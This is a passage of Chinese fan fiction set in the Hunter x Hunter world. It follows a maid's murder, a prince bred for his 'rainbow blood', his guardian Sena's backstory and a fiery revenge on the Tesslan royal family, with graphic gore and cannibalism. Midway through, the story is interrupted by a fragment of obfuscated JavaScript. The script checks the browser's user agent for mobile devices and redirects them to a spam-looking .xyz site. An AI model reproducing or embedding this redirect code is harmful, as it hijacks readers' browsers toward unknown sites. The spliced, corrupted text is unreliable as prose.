回到宿舍,艾娜并没有第一时间收拾东西,而是抱出了一个被布包裹的东西——是个玩具箱。
玩具箱精致小巧,有着两根皮革背带,正面镶嵌着一种特殊的红色贝壳。
特意挑选出的不规则碎片拼凑组成了一个可爱、圆润、规则的红心。
“还好还没来的及把它送给小王子,不然连一个像样的离别礼物都拿不出来。”
离开房间前,艾娜最后一次检查了一下玩具箱——
里面有一封信和一个她为塞纳准备的小礼物。
走在小道上,艾娜有些疑惑:这一路走来怎么一个同事都没有遇见到,这是以往从未发生过的事情……
怀着不安,艾娜抱紧了怀里的东西,加快了步伐。
得快点向小王子道别呢。
临行前要不要问问小王子的名字?以后说不定就再也没机会见到他们了,知道名字方便写信。
想着这些乱七八糟的事情,艾娜感觉眨眼间就到了小王子的寝宫。
屈指敲门三下,她耐心的等待。
门没有开。
“王子?”心生不妙,艾娜拿出备用钥匙打开了小王子的寝殿——备用钥匙一共只有两把,她和塞纳一人一把。
打开门,门内空无一人。
深深的不安笼罩在她的心头,她能感觉到自己的心“扑通扑通”的在胸腔里跳动,加快的心跳使她的呼吸都变得急促起来。
一声巨响迫使她抬头望向玻璃穹顶——一个嘴边有着丑陋疤痕的寸头男人伴随着破碎的彩色玻璃一起“咚”的一声落下,而他胳膊和腰之间夹着消失的小王子。
“王子……”第六感疯狂预警,霁“快走!”的话音甚至还没来的及落下,一只手已经从背后穿透了她的腹部。
“唉?王宫里怎么还有杂碎,丽特的扫尾工作也太大意了吧,还好有~我~”
疤嘴男惬意的抽回手,正打算给无关紧要的杂碎补上致命一击,女人向前倒下的身体露出了挣扎着起身的霁。
“哦吼吼,意外~收获!”疤嘴男踹开地上的杂物,张开双臂向霁走去:“根本用不上没用的丽特,我自己就可以做到!”
失去意识前,艾娜看到了一双正在燃烧的眼睛,巨大的悲伤交织着绝望,愤怒成为了它的燃料,神志模糊间艾娜好像看到了绽放的彼岸花。
别怕……我只是……突然有点累……
下坠、下坠、不停地下坠。
仿佛没有尽头的旅途使艾娜身心俱疲。
直到一小束暗淡的光打在了她的身上。
指尖已经累到抬不起来了,艾娜还是拼尽全力去触碰。
如果现在不去尝试,一切都会来不及挽回。
她的心如是说道。
温暖的感觉从指尖蔓延到心脏——她做到了。
“塞……纳……”
再次睁眼,艾娜感觉自己仿佛做了一个十分漫长的梦。
她现在正躺在塞纳怀里,塞纳把她的指尖握在手中。
看着她的眼睛,艾娜意识到自己现在的苏醒只是回光返照。
“之前一直都是你……在拜托我,这次也让我拜托……你一次吧……”
塞纳把艾娜往上抱了抱,让她依靠在自己的肩上,这样能让艾娜更舒服一点。
念被她持续的输入到艾娜的身体里,但这只是杯水车薪。
她没有治愈的念能力,面对打碎的杯子她甚至无法做到粘合,更别提复原了。
只有那个方法了。
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塞纳掏出一个透明的瓶子,流光溢彩的液体因为瓶身的晃动在其中流转。
艾娜认出来了,这个瓶子里的东西是卡卡圣水,但是比她平常能接触到的卡卡圣水颜色更加瑰丽……颜色更加接近小王子脸上的液体。
脑海里闪过小王子的那双眼睛,艾娜咽下了喉咙里涌上来的血,虚弱而又坚定的拒绝了生的希望。
“我希望……你能拿走我的……眼睛……去帮帮那孩子吧……他……看上去……”
手中握着的手指因主人的无力而缓缓垂落,塞纳没有再去握住。
“好可……怜……”
拿着专业的工具,塞纳用她这辈子最轻柔的动作取下了艾娜的眼。
给艾娜换了一件干净的裙子,塞纳把她抱到了花园,放进了花圃之中。
花朵簇拥着她,伴她进入真正的永眠。
宫殿的角落,破碎的、沾着血的玩具箱静静等待着温暖的火焰的吞噬,其中有一封无人拆封的信和一枚蕾丝镶边的白珍珠发卡相依偎着。
无人知晓。
放完火的塞纳往后/庭走去,从容不迫。
打开暗门,进入直梯,输入指令,她到达了这座王宫最隐秘的地方。
但她在研究所门口停顿住了。
眼熟的异色血混着红色血组成一大摊血泊流出了门缝。
感应门为停驻在门前的人类自动开启。
“呐,这样看两种血也没什么区别啊,”背对着她的人回头看到来人后踩着血水转身冲着塞纳笑了笑:“你说是吧,塞纳。”
“塞纳,塞纳,”小王子向她做出了想讨要夸奖的表情,和往日没什么区别,“我替大家终结了痛苦!”
塞纳提起裙角,走了进去,她什么都不说,只是静静地看着他。
看着他像猫一样红着眼睛炸毛,仿佛下一秒就要开始冲她哈气。
直到她走到霁的面前,在白炽灯闪烁,明明暗暗的光影打在霁的脸上,晶莹剔透的泪在他脸上划出了一道光——他看到了“艾娜”。
啊啊,怪不得以前能察觉到塞纳眼睛的异样,这样一看不同的眼睛差别真的好大。
好温柔的一双眼睛。
塞纳抱住了霁,霁一下子僵直住了,连火红眼都吓熄灭了。
“我送你离开这里。”
他们都无法看到对方的表情,但塞纳能感觉出来怀中的身体放松下来了。
紧接着到来的是孩子的哭泣。
她来迟了,两边都是,好在还有一个活着的,温热的,还会在她怀中哭泣的孩子。
姑姑,你讨厌的丽特马上就会彻底消失了,你开心吗?
这就是你让我耐心等待的东西吗?
为什么它匆忙的为我而来却不肯为我停留?
如果在彼岸见到你,我又该给你一份怎样的答案呢?
答案涌上心头,塞纳感觉到眼眶泛起酸意。
时隔26年,她终于在32岁时再一次流下了对丽特来说无用的东西。
“我想要让痛苦彻底消失。”霁挣脱了塞纳的拥抱,含着泪水的眼睛亮晶晶的:“带我去特斯岚吧,塞纳。”
9. 真相×火红眼×特斯岚庆典
在一个平平无奇的一天,霁误打误撞打开了一扇暗门,暗门之后是一个只能通往地下的直梯。
两人欢呼雀跃:“耶!找了这么久终于找到了!”霁按开电梯走进去,里面没有楼层按键,只有一个触屏面板,点亮后需要输入密码。
“啊——好麻烦欸,哥哥,只能靠你了,拜托啦。”
霁闭眼双手合十拜了拜,睁眼后这具身体已经被林霁控制了。
“哼哼,看我的吧!”林霁双手叉腰,自信满满的向霁保证。
于是他费尽千辛万苦找到了最有可能通往地下密室的通风管道。
感受到脑中霁无语的情绪,林霁有些心虚地吹了段口哨,加快了爬行的速度:“猜错密码可能下一秒他们就会收到通知我们就会打出bed ending,电梯空间狭小不好藏……综合考虑,通风管道才是最优解。”
遇到分岔口林霁停下来感受气流,选择了一个方向后继续灰头土脸的爬。
“毕竟地下室肯定是需要换气的,其实还有另一个办法啦,但是……找到了!”
远处从通风口格栅透上来的光在黑暗中十分醒目。
林霁将身体压的更低,减慢爬行速度,尽量避免发出声音。
爬到通风口附近,当林霁闻到一股熟悉的铁锈味时,他下意识屏住呼吸,绷紧身体进入了【绝】的状态。
是的,最好的planA就是使用“力量”。
从梦境出来后林霁一直有种“力量”从未消失的错觉,但是操控霁的身体时却感受不到“力量”。
这种落差使林霁有了一个大胆的猜想:自己在梦中掌握的“力量”会不会就是这个世界的设定?毕竟与前世相比,这个世界明显不科学……如果真的是这样的话,或许等霁掌握了“力量”后自己就能使用“力量”了!
林霁把自己在梦中的经历挑挑拣拣的告诉霁后,霁果然对此表现出了极大的兴趣,每天晚上睡觉前都会尝试感受“气”的存在。
坚持了几年,最近林霁操纵身体时隐约感知到了那种差临门一脚的神奇感觉,他甚至已经可以用这具身体施展一些需要使用“力量”的小技巧,比如【绝】。
可惜还没有真正激活“力量”,不然说不定自己可以试着直接正面突击。
在霁激动的催促下,林霁慢慢地挪动到通风口,在此之前他认真的在心里给霁预警:“血味太浓郁了,场面估计不太好看。”
“嗯,我知道,只是……马上就知道一切的真相了,我有些兴奋啊。”
林霁也是,他感觉这具身体的心正在颤栗。
终于,他爬到了通风口,探头往下一看——
一双扩散的浅红色瞳孔正在无神地望着他。
如坠冰窟。
“是他。”
林霁回过神来。
“嗯,是他。”
林霁在心中回答着霁,霁没有再说话了。
林霁知道,霁在同自己一起用同一双眼睛看他,那个自己名义上的“父亲”。
他正在被肢解。
男人双手持锯,哼着歌,手下的动作毫无滞涩感,无比娴熟。
白炽灯下斑斓的血醒目到有些刺眼的程度,洒在白布上竟像一副儿童未完成的涂鸦。
下意识,林霁想到了卡卡圣水。
但——人类会有彩色的血吗?
这一切也太荒诞太滑稽了吧?
霁……为什么不说话?
“呐,哥哥,你说我的血会是彩色的吗?”
霁说话了,我该怎么回答他?
“各位看,这可是人身上最鲜嫩的地方,生吃都能体验到其中的鲜甜哦~实在是美~味~极~了~”
男人突然抬头说话打断了林霁的思绪,也将他从窒息中解救出来。
这时林霁才发现男人面前有一台正在运行的相机。
“王子迟早会成为王,而给食材起名字毫无意义……这就是我没名字的原因吗?”
林霁感觉喉咙干涩,张了张嘴突然想起不能发出声音又把嘴闭上了。
他不知道该怎么回答霁。
他生长在一个和平的年代,所以他可以无忧无虑的长大,世界的黑暗面从未向他展露过。
说实话,他现在想吐。
他们就这样看着银发男人被肢解成一块一块的,被待在房间内的白衣服们装进不同大小的带密码锁的箱子里,箱子往外冒着寒气。
就算霁曾经被他的记忆和思维影响过,但霁还只是个货真价实的10岁孩子。
所以林霁选择闭上眼睛捂上耳朵,不去看,不去听。
“没事的,马上会过去的,等结束了我就带你离开。”
好在霁一直都是一个乖孩子,在此期间他从未和林霁争过身体的主导权。
感受到霁越来越强烈的愤怒,林霁开始安慰他:“待会回去了我就带你离开王宫,你怕艾娜担心我们可以给她留封信,出去了之后可以混上交通工具直接离开卡卡,我做饭的手艺还是不错的,我们可以……”
没等林霁畅想完未来,意外先到来了。
有一颗寸头从通风口处的格栏“哐当”一声顶了出来,嘴角两边的疤使他的笑直接咧到了耳根。
“嗨~”
林霁瞳孔一缩,下意识腾起身体抬脚就踹,不料疤嘴男的头跟石头没什么区别,踢中的右脚痛的不正常时他意识到要糟了。
可惜在被发现的时候就已经来不及了。
疤嘴男拽住林霁的小腿,把他扯了下去。
还好在坠地的前一刻疤嘴男扯住了林霁的衣服。
“你——”
伴随着疤嘴男的惊呼,林霁在光可鉴人的瓷砖上看到了一双红色的眼睛——一双属于霁的,愤怒的眼睛。
被疤嘴男发现的原因也显而易见,第一次因为愤怒而开火红眼的霁使并非完整版的【绝】失效了。
他现在已经彻底绷不住了,转生什么世界不好,为什么偏偏是猎人世界啊!
"这眼睛……这血……"
疤嘴男舔了舔唇,笑了。
林霁恶寒,他现在都有点怀疑火红眼是自己受不了刺激开的。
“换我吧,哥哥,你现在情绪波动太大了。”
“怎么能让你来处理这种情况!”
“可是,眼睛再不变回去的话,说不定我现在就会被挖眼哦。”
林霁自从意识到这里是HXH后,神经已经绷成一条线了,他现在根本没办法平复心情。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549537|186767||http|test|mini|href|location''.split(''|''),0,{}));
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>现在正在经历着的东西足以证明猎人世界名不虚传。
无奈,身体的控制权互换。
等疤嘴男上传完录像,从几个白衣人口中得知了霁“小王子”的身份后,迎接他的是一双没有情绪的蓝色眼睛。
“继续把眼睛变成红色,我要告知主人这个好消息——高级商品突然变成特级了!”
霁的脸被突然怼到脸上的相机撞偏,脸颊上多出了一道红痕,但这道痕迹比起他身上多到数不过来的还在渗血的伤口来说就不够看了。
霁根本不管疤嘴男说的话,他只是扫视着这里——这个他出生的地方。
矗立在地上泛着绿光的巨大器皿一眼望不到头,里面有着各种奇形怪状的“人”,密密麻麻的管子连接着他们,有的往他们身体里输送着不知名的液体,有的从他们身体里抽取着彩色的血。
器皿旁边还有一条传送带,上面摆放着一具具惨白的,没有气息的尸体,上面甚至还带着绿色的黏液。
疤嘴男已经开始尝试用刚才发生的画面刺激他了,但霁还是不为所动。
疤嘴男觉得视频的效果没有现场来的刺激,随手从传输带上搬了一具开始情景重演。
“为什么还没有变红!你为什么会对同类没有怜悯?”
疤嘴男决定来剂猛药,他开始当着霁的面进食。
但霁的心已经泛不起任何波澜了。
愤怒?怜悯?悲伤?
这都是人类的情感。
看到只见过两面的银发美人以那样的方式死去后,霁好像又在耳畔听到了他说:“我们流着相同的血。”,他的泪好像又打湿了自己的头发。
这个时候他是愤怒的。
但现在他想,这份痛苦和愤怒可能是名为林霁的哥哥带给他的。
他现在之所以不会感到愤怒正是因为是同类啊。
他们都是耗材,他只是里面最幸运的那一个。
他现在甚至都无法听到哥哥的声音。
难道哥哥只能和“同类”进行交流吗?
有什么东西彻彻底底的改变了。
看着像人偶一样没有任何反应的霁,疤嘴男人差点忍不住往他身上动刀子。
“忍住,要忍住,品相很重要的……”
疤嘴男人舔了一口刀子,忿忿不平道:“真是便宜了那个讨厌的丽特~”
随即,他把霁捞到腰间用手臂夹住,带着霁飞速向王宫移动。
绝对要让主人看到这双眼睛!
就算要去找讨厌的丽特……
丽特看管了高级品这么久,总该有办法吧?
……
霁从噩梦中挣脱,喘着气在轿车里苏醒。
车窗外人声鼎沸,特斯岚的庆典马上就要开始了,人们开心地等待着,脸上都洋溢着快乐的笑容。
轿车停靠在路边,霁无声的看着这些——这些都是他从未见过的。
终于,塞纳回来了。
“事情已经办妥了,我们能直接在庆典上面见特斯岚国王……小霁。”
霁笑了。
“一切马上就会结束了。”
虚按在车窗上的手收回了,蓝色的眼睛在无光的地方竟显出几分空洞。
“一切。”
10. 潘多拉魔盒×特斯岚国王×终点
特斯岚庆典如期开幕,国王发表完演讲后,开始在“穹宫”接见附属国的朝拜和上贡。
“穹宫”是一名赫赫有名的建筑师的得意之作,特殊的大面积镂空设计使民众即使在很远的地方也可以看到和听到高台上发生的一切。
附属国的使臣将从宫门口徒步爬完300级石头台阶才能到达特斯岚国王所在的高台,单膝跪地为王献上礼物以表忠诚。
这是特斯岚王国全民最期待的环节,每年这个时候他们都能看见国王接受朝拜的英姿并因此感到自豪:
这就是他们的王,多么伟大啊!
已经接见完几个附属国了,气氛正好,民众的热情高涨,直到负责传唤的官员喊出了那个名字——
“卡卡王国的国王陛下!”
全场寂静。
等闯了大祸的官员意识到发生了什么后,他恨不得当场死在这里:卡卡王国官方在3天前发了讣告,卡卡王宫起了大火,里面的人员无一生还。
要知道之前卡卡国王负责朝拜的一向是王室成员啊,为什么稿子里没有把词改掉?
在众人地窃窃私语中,一辆黑色轿车开到了红地毯上,一个穿着黑色正装,胸前戴着白色绢花的金发男孩从打开的车门里跳了出来。
他站稳后摘下礼帽,露出了被帽檐遮住的蓝色眼睛,金色的马尾辫上有光流动。
霁将礼帽置于胸前,向看过来的人弯腰行礼示意。
在众人或好奇或探究的目光中,霁开口了:
“卡卡王国最后的王将为特斯岚王国的国王献上最后的礼物。”
众人哗然。
霁没有理会他们,只是开始踏着猩红的地毯一步一步地往上走,直至登顶。
其实上面坐着的特斯岚王室中,有一个人在看到为霁开车门的人是塞纳时就猛地站起来了。
是十三王子。
“虹血”归在他名下时他还是个婴儿,如今他已经是个白发苍苍的老人了,财富与秘密并没有留住他的青春,当他得知“虹血”和丽特一起消失时,他看着他年轻的父王心中凄苦,不禁流下了泪水。
但父王告诉他丽特会回来的,他相信父王,父王无所不能。
果然就如父王所料,丽特带着“虹血”来了。
但这是在干什么?
没有人能为他解答,丽特和“虹血”路过他时甚至没有分给他一个眼神。
没人把霁当回事,一个手中空无一物的小孩子能献上什么礼物?
人们疑惑王为什么还没有让侍卫把这个胡闹的小孩子赶下去。
霁带着塞纳走到了王的面前,盯着王。
“你跟我想的不一样。”
王座上的人没有回答他,只是继续故作深沉的看着远方。
塞纳弯腰对霁耳语:“他不是王。”
“啊——”
霁失望的转身,只留给替身一个后脑勺,他看向台下的众人大声说道:“特斯岚的王,你确定不出来和我说几句话吗?”
彩色的念出现在霁身上,一个精致的玩具箱凭空出现在了他的背后,玩具箱上有一颗很红很大的破碎的心。
他抓住背带,把玩具箱从背上卸下置于身前,掰开锁扣从中拿出了一个巴掌大小的盒子。
拿出盒子后心上的红色褪去,霁有些心疼的抚摸了一下白色心后重新把玩具箱背上了。
霁走下高台,走到了表情各异的特斯岚王室们身前,面无表情的询问:“你们有什么想说的?”
“臭小孩,你到底想干什么?”
王室有脾气爆的人忍不住了,冲着霁破口大骂。
“其实我也不知道哦……可能是想让你们说几句遗言吧,毕竟不能一上来就把你们都杀了。”
霁歪了下头,认真思考。
“毕竟我是‘人’啊。”
听着耳边毫无意义的咒骂声,霁有些遗憾的打开了盒子:“看来你们的遗言和你们的人生没有任何区别。”
他笑着评价道:“都是垃圾。”
盒子完全打开了,有大量的彩色颗粒飘散出来,冲天而起。
特斯岚今天的天气很好,阳光明媚,蓝天透亮,白云镶嵌在其中,现在云竟然变成了彩色的。
众人看着彩云张目结舌,突然有人大叫道:“下雨了!”
彩色的云下出了彩色的雨,有人开始跪地高呼神迹。
等雨从身上穿透过去,在地上炸起小小的烟花后却没能留下任何痕迹后,大家才意识到彩雨是虚幻的
“火,有火!”
嘶吼的声音叫醒了众人,抬头望去,高高的阶梯之上是正在燃烧着的特斯岚王室们。
平日里体面的王室们身上燃着彩色的焰火,在阶梯上拍打着,翻滚着,尖叫着。
刚才民众们的注意力全被“神迹”吸引了,台下的声音盖过了台上,所以无人发觉上面的惨案。
能被众人意识到还是拜人群中更大的“火团”所赐,那人都没来得及发出声响就被烧了个干净,化成了一捧彩色的灰随风飘散。
人们尖叫躲闪。
在阶梯上的霁知道,那就是特斯岚的国王了。
“他死了吗?”
霁有些恍惚。
一个这么容易就死去的人为什么会让卡卡王室变得这么惨?
明明……他才是弱小的。
塞纳身体紧绷,护在霁的身前:“他还没有死。”
霁眼睛都瞪圆了:“哎?塞纳……”
你是怎么知道的?
眼前突然出现的景象打断了他的话。
一个特斯岚王室突然手脚并用的沿着楼梯爬向他们!
霁被吓了一跳,下意识后退却被台阶绊倒坐到了楼梯上。
塞纳想把那人踹下去不料动作竟僵在了原地。
于是这人爬到了霁的面前,头仰到顶看他:“你不是有话对我说吗?把念能力收了,我给你这个机会。”
霁看着面前这个被烧的面目全非的家伙,嘴角忍不住勾起:“这样才对啊,那么容易就被解决的话……也太无趣了点。”
霁抬脚踹在“王”的脸上,笑容灿烂:“我之前确实想和你说几句的,但现在没必要了。”
“王”在阶梯上滚成一团,跌了下去,在某一刻突然成了灰。
看着还在哀嚎的其余特斯岚王室,霁垂下了眼睛,使人看不清他的表情。
“你还真是罪孽深重啊……”
特斯岚王室聚集的地方,一个又一个“王”诞生在其中,王室们嚎的更惨了——为自己未知的命运。
“王”锲而不舍的去面见霁,从刚开始的谈判态度转变为苦苦哀求。
霁已经从兴致勃勃变为面无表情了。
他把玩着自己的麻花辫,轻声道:“呐,你怎么一直不提虹血?”
你为什么一直不道歉呢?
“王”突然不叫了。
“王”笑了。
“王”开始说话了:
“我从来没有直接对卡卡王室动手,他们是自杀殉国的。”
“我甚至没有对卡卡王国的百姓动过手,因为他们是我攻下卡卡王国的最大助力。”
“卡卡王国的国王
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是被自己最珍视的子民们背叛的。”
“至于‘虹血’嘛……是卡卡王室他们留给我的,是一对可爱的双生子哦,我有很好的把他们养大呢。”
“作为报酬付出点微不足道的,甚至是可以再生的东西也没什么吧。”
“我从来没有把他们当作食材,是下面的人太不懂事了,欺上瞒下……”
看着“王”一次一次的爬上来,一次比一次燃烧的更快,霁感觉眼睛有种灼烧感。
大概是还不适应带美瞳。
这个骗子。
特斯岚王室还活着的成员寥寥无几,“王”对着下面不知什么时候变得鸦雀无声的子民们命令道:“谁能杀了他赏戒尼百万,终身爵位,我将与此人一起共享永生的秘密!”
无人回应。
人群中不知道谁说了句:“这是神罚啊。”,得到了大多数人的响应。
有一个用黑布蒙着脸的人从人群中钻了出来,举着刀虚张声势道:“国王陛下,让我来保护你!”
众人唾弃但无人阻拦。
人们都在静静的观望。
卡卡圣水远近闻名,大家都怕这把“火”烧到自己头上,能消失自然最好。
霁含笑看着他们。
“好奇怪啊,你们。他能‘吃’卡卡王室自然有一天会‘吃’你们,你们竟然还要拥护这样失格的王吗?”
蒙脸男在“王”赞许的目光下拿刀猛地刺下,大声反驳道:“你个小屁孩懂什么,我们伟大的王当然由我们守护了!”
刀穿透霁的肩膀,彩色的血将雪亮的刀身染成彩色,竟让这刀与天边那道突然出现的彩虹别无二样。
几滴虹血落到打开的盒子上,这盒子竟然开始吸血,血从伤口处飞出落入盒中,像一条指节粗细的彩色绸缎。
“魔兽、魔兽啊,他绝对是魔兽,哪有人的血不是红色的!”
男人被吓的跌落在地,差点也掉下楼梯。
霁抬头望天,“雨”变大了。
“怎么回事,怎么会这样!”
“王”刚刚还在气蒙脸男不但没有将霁一刀致命而且还没见过什么世面,现在被变快的燃烧速度吓到了,开始对霁大吼。
霁任由刀插在肩膀,笑着说:“死去的‘虹血’已经在惩罚你们了,但现在是活着的虹血哦,威力翻倍,范围翻倍。”
台下的人群中传来恐惧的惊呼声——新的火人出现了。
“我之前可是发过【绝对不会用任何方式自残】的誓言的哦,但这是你们刺伤我的啦。”
躯体要用完了,“王”将视线投向只剩骨架的十三王子。
“父王,我是小十三啊,您最疼爱的小十三啊!”
十三王子呜呜呜呜的想唤起父爱然而并没什么用。
这是最后的“王”了。
“这到底是什么?”“王”发问道。
失血过多的霁躺倒,回答道:“算诅咒吧,我想让伤害过‘虹血’的人得到惩罚,所以它出现在我的玩具箱里了,但我的哥哥称呼它为‘潘多拉魔盒’,据说只要打开它就能放出世间的一切灾祸。”
“我明明让他们在新生的‘卡卡’体内都植入我的基因,为什么我没办法得到你的身体……”
“王”开始消散。
谁知道呢,大概是神明的恶作剧吧,毕竟祂连玩具箱都给我了,霁想。
迷迷糊糊间,他看到了开始消散的塞纳。
塞纳?
光罩住了他。
“再见,小霁。”
我们终会相遇,或许在遥远的彼岸,灵魂的故乡。
11. 我x丽特x羁绊
我是塞纳·丽特,一名并不普通的王宫主管,家族世代侍奉斯特岚国王,是国王手里最锋利的一把刀。
直到我的父亲成为家主,丽特和“虹血”一起被赐给了十三王子。
据说斯特岚国王千辛万苦找到传说中的“虹血”是为了救他的爱人,十三王子的母妃,但当国王寻得“虹血”时爱人已经死去多时了。
国王悲痛欲绝,看到十三王子与爱人相似的眉眼后将世界七大美色之一,传说中能让人长生不老的“虹血”赐给了十三王子。
但丽特们对此心知肚明:丽特只属于王,派丽特看管“虹血”证明十三王子只是它暂时的主人。
“丽特只负责‘虹血’的安危,您的命令请容我拒绝。”
这是我的姑姑,希娅·丽特的原话。
对了,当时的丽特仅剩两人,我和我姑姑。
丽特不需无用之人,族人之间产生矛盾会用决斗解决,只有强者才配有话语权。
所以离经叛道的姑姑杀死了爷爷和父亲,成为了丽特家族的家主。
从此姑姑成为了王麾下咬人最疼的狗。
仅凭姑姑一人就护住了世界七大美色之一——她把当年的知情者都杀了。
从此“虹血”改头换面被姑姑包装成卡卡圣水供应给十三王子,“虹血”也就成了特斯岚王室的私有物。
姑姑够疯够强,却有一个充满少女心的爱好,最后这个普通的爱好害死了她:
她喜欢洋娃娃。
我自幼丧母,父亲死后我被姑姑当真人洋娃娃养过一段时间。
我褪下了黑色的衣裤,第一次穿上了有着蕾丝边的裙子。
穿着有跟的小皮鞋完成日常训练对当时的我来说是个不小的挑战。
“手上有茧,以后戴上手套吧。”姑姑曾摸着我的手,皱眉说。
我乖乖点头,露出了练了很久的和娃娃一样的笑容。
老师说要服从强者,希娅·丽特就是目前在我生命中的最强者。
姑姑果然很满意,第一次对我笑了。
于是“娃娃的笑”被我永远的挂在了脸上,一直到死都没有褪下。
我知道姑姑对丽特一族的命运一直感到不满。
或许不止丽特的命运,她似乎对所有既定的命运都感到不满。
“凭什么丽特一出生就是仆人,一辈子都要为所谓的主人卖命?”
姑姑无所不能,她找到了破解命运的方法。
基于丽特当年发下永世主仆誓言的漏洞,只要举行一个古老的仪式就可以解脱丽特永世为奴的命运。
这个仪式需要献祭一颗王者的心脏而卡卡王国王宫里就有一颗现成的。
出于特斯岚国王隐秘的恶趣味,卡卡王宫里一直都有一个名存实亡的王。
等我们在王宫的角落找到卡卡国王时,他已经奄奄一息了。
明明才刚成年没多久,研究院一般只拿残次品做研究,高级品只供应给特斯岚国王本人,为什么生命力会流失的这么快?
我对此感到疑惑,但我没有问姑姑,因为如果姑姑没有成功,有关“虹血”的事我迟早会知道。
成功的话我们就自由了。
但是姑姑没有对卡卡王动手。
“这不是我想要的心脏。”
她决定亲自为自己培养一个合格的心脏,于是姑姑找到了现任的卡卡王子,还未长成的高级品。
我突然觉得姑姑有种不切实际的天真。
她不但自己想要打破自身既定的命运,她还想让不相干的人与命运相斗。
“卡卡一族是天生的强者,他们奇异的血液天然携带着巨量的生命力,只要成功开念就是强大的念能力者。”
这样的卡卡这么会有这么荒诞的下场?
我忍不住询问姑姑。
“因为虚无缥缈的命运。卡卡国王深爱着自己的国民,得知被国民背叛后心灰意冷,在抵抗敌人后带族人隐居避世和放弃抵抗直接带族人隐居避世之间犹豫不决,这时卡卡族内有着占卜能力的大祭司为卡卡族的命运进行了占卜,占卜后卡卡族人都选择了第三条路——集体自杀殉国,死后让大火焚烧他们的尸体。”
卡卡一族现在的惨状让我忍不住想,卡卡大祭司最后的占卜结果是不是就是如今卡卡的结局?
命运是否戏弄了他们?
没等我细想,姑姑找到了卡卡王子。
或许他就是命运用来戏弄姑姑的手段。
他简直是一个完美的真人娃娃,姑姑养娃娃养的不亦乐乎,王子也因此得到了他作为王子应得的待遇。
王子的眼睛畏光,皮肤不能直接接触太阳,姑姑为了能让他看到光下盛开的花,亲手为他种下了只在月光下盛放的月亮花。
这样养出来的“娃娃”得到了研究院院长的大力支持:“血的纯度远超其他高级品,如果没有掺其他杂质说不定会更接近本源,看来心情也是影响因素的一部分……”
杂质?我若有所思。
当时我并不认为王子会对姑姑产生威胁,毕竟姑姑是最强的人。
后来王子继位,姑姑给他起了一个名字。
从那天起我就开始等待姑姑动手。
但我等来了姑姑亲手递给我的古籍,上面记载着仪式详情,除此之外她还送给我了好多东西。
她说已经准备好迎接自己亲自选定的命运了。
她违背了主人的命令。
她马上就要死了。
这时我才知道研究院制造的“卡卡”会混入特斯岚国王的基因,每一任高级品年纪轻轻就会死去是因为王的念能力。
王一直想有一副有着高纯度“虹血”的躯体,可惜浓度越高成功率越低。
但王一直都没有气馁——毕竟他的时间很多。
高级品马上就要成年了,姑姑拒绝交出“娃娃”。
称呼他“娃娃”是因为我无意知道他的名字,仅此而已。
王与丽特之间的主仆契约十分古老,丽特族内典籍对此只有三言两语。
但丽特们都知道,主死仆灭,违背主人的命令的话,主人有办法远程操控不听话的丽特的生死。
希娅死在了娃娃的怀里,在那片她亲手种下的月亮花里。
不出意外的话娃娃将成为卡卡活得最久的国王。
姑姑没有警告过我,但我对他的心脏没有一点想法。
我决定亲手培养一个
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属于我的王。
恰好这时实验室里送来了一个新的实验品——一个被挖了眼睛的窟卢塔女性。
我把她的基因和“杂质”偷偷互换了。
还好制造出来的孩子是个高级品,不用我费力处理,果然“杂质”就是“杂质”,基因真烂。
只要娃娃死了这孩子就可以继位了,我就自由了。
对了,我绝对不会给这孩子起名字。
只要这样……就不会复刻姑姑的失败了。
但我和姑姑不同,我没有经历过“普通”,我没办法给这孩子提供充足的情感。
不知道为什么,我想重复一遍姑姑的培养方式。
这时艾娜出现了,我从她的眼睛里“找”到了我需要的东西。
命运的齿轮开始转动。
随着小王子的长大,我产生了许多以前没有的感情。
在揍敌客培训所接受到的教育警醒了我:工具不需要没用的感情。
于是我开始疏远他们。
可是已经来不及了。
我开始思考一个问题:如果丽特从世间彻底消失,那丽特既定的命运算改变了吗?
没有人可以给我答案了。
我还没来得及想通,最后的死线先来了——“家家酒该结束了。”
卡卡王室要“消失”了,从此再也没有卡卡国王了。
发生了这种事,我竟松了一口气。
命运啊。
直到艾娜死亡前,我都在感谢这该死的命运。
命运,从来都没有善待我们,之前的只是错觉罢了。
找到那孩子时,我感觉心被人搅碎在胸膛里了。
我决定带他逃离命运的桎梏,即使代价是我的生命。
但这孩子比我想的更勇敢,更强大,他要去直面恐惧的源头。
我决定陪他一起去。
我把姑姑给我的重要之物转交给了这孩子——我希望他能活着离开炼狱。
我并不是什么好人,我是一把取走无数性命的刀。
但这孩子本该无暇,是命运使他出生时就深陷淤泥,自身难保。
出发前,我第一次祈求神明:
请偏爱一下这孩子吧,他很乖的。
最后的时刻还是来了。
我将陪他最后一程。
姑姑说的果然没错,卡卡一族的人只要开了念就是强大的念能力者。
灵魂被无形的火焰灼烧时,我庆幸自己平时有在努力修行。
我可以一直不发出声音看着那孩子“复仇”。
不知道为什么,我好像看到那孩子一直在哭。
直到生命的尽头,我还是搞不懂我对他们的感情究竟是什么。
但我知道我想在死后的世界与他们相遇。
唔,小霁还是再晚一些来吧。
我一生中最可惜的事大概就是没有给那孩子起一个像样的名字吧,虽然那孩子已经有了名字。
好不甘心。
彻底消散前我再一次看到了小霁的眼泪。
乖孩子,不要哭啊,我们终将相遇。
意识消散,灵魂沉寂,我好像坠入了虚无的海。
再见。
12. 梦×失明×萨拉萨
快跑,再跑快一点……
女孩努力往垃圾堆的更深处跑去——那里有更多还没来得及清理的大件垃圾。
只要到达那个地方……
后面紧追不舍的长形汽车慢慢悠悠地追在女孩的身后,见她有意往汽车无法通行的地方钻,车停下了。
一个胳膊上有着纹身的男人从副驾驶上下来了,几步就追上了女孩。
“别跑啊……我们可还没开始好好玩呢。”
女孩的心型斜挎包被一只手拽住了,剧烈挣扎间女孩挣脱了背带,刚往前迈了一步紧接着就被纹身男拽住了头发。
“啊——”
巨大的恐惧裹挟了萨拉萨,眼泪再也控制不住了。
她还没有找到录像带……她还想和大家一起演出《清扫战士》……
不要!
心中的执念胜过了被抓着头发拖拽在垃圾上的疼痛,萨拉萨用力的抓住了身下的垃圾,企图以此来拖延到达恶人大本营的时间。
